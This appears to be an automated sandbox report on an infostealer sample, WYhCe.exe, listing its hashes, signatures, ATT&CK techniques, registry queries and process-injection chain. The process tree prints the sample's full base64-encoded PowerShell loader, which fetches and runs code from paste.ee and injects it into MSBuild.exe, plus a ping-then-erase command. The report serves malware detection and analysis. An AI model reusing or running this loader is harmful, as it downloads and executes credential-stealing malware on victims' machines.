e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb

General

Target

WYhCe.exe
Size

103KB
MD5

c2337bf726d285b3e59ef7f26f388bca
SHA1

5b2bfc673012d02f27299db6929a144fd2517f93
SHA256

e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb
SHA512

27e9e92d12658dd6a6e1e710577ea94d8523d3a6f703646007d8d001db9a2b608d314d9e727063207699db9717ed0e2bb77c2a19bae3e79542bec9389c5d2ba1

Score

8^/10

spyware discovery

Malware Config

Signatures

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks for installed software on the system 1 TTPs 29 IoCs

discovery

Query Registry

T1012

Processes:

MSBuild.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack\DisplayName	MSBuild.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\DisplayName	MSBuild.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1636 PING.EXE

pid	process
1636	PING.EXE

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

WYhCe.execmd.exepowershell.exeMSBuild.execmd.exe

description	pid	process	target process
PID 1312 wrote to memory of 1396	1312	WYhCe.exe	cmd.exe
PID 1312 wrote to memory of 1396	1312	WYhCe.exe	cmd.exe
PID 1312 wrote to memory of 1396	1312	WYhCe.exe	cmd.exe
PID 1312 wrote to memory of 1396	1312	WYhCe.exe	cmd.exe
PID 1396 wrote to memory of 1452	1396	cmd.exe	powershell.exe
PID 1396 wrote to memory of 1452	1396	cmd.exe	powershell.exe
PID 1396 wrote to memory of 1452	1396	cmd.exe	powershell.exe
PID 1396 wrote to memory of 1452	1396	cmd.exe	powershell.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1452 wrote to memory of 1060	1452	powershell.exe	MSBuild.exe
PID 1060 wrote to memory of 1800	1060	MSBuild.exe	cmd.exe
PID 1060 wrote to memory of 1800	1060	MSBuild.exe	cmd.exe
PID 1060 wrote to memory of 1800	1060	MSBuild.exe	cmd.exe
PID 1060 wrote to memory of 1800	1060	MSBuild.exe	cmd.exe
PID 1800 wrote to memory of 1636	1800	cmd.exe	PING.EXE
PID 1800 wrote to memory of 1636	1800	cmd.exe	PING.EXE
PID 1800 wrote to memory of 1636	1800	cmd.exe	PING.EXE
PID 1800 wrote to memory of 1636	1800	cmd.exe	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1452 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1452 powershell.exe
Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1452 powershell.exe
5 1452 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1452 set thread context of 1060 1452 powershell.exe MSBuild.exe

description	pid	process
Token: SeDebugPrivilege	1452	powershell.exe

pid	process
1452	powershell.exe

flow	pid	process
4	1452	powershell.exe
5	1452	powershell.exe

description	pid	process	target process
PID 1452 set thread context of 1060	1452	powershell.exe	MSBuild.exe

C:\Users\Admin\AppData\Local\Temp\WYhCe.exe
"C:\Users\Admin\AppData\Local\Temp\WYhCe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c start PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
2⤵
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of SetThreadContext
PID:1452

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Checks for installed software on the system
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping google.com && erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\SysWOW64\PING.EXE
ping google.com
6⤵
- Runs ping.exe
PID:1636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1060-6-0x00000000004258D4-mapping.dmp

Download
memory/1060-5-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/1060-7-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/1396-0-0x0000000000000000-mapping.dmp

Download
memory/1452-2-0x0000000000000000-mapping.dmp

Download
memory/1452-1-0x0000000000000000-mapping.dmp

Download
memory/1636-9-0x0000000000000000-mapping.dmp

Download
memory/1800-8-0x0000000000000000-mapping.dmp

Download

Analysis

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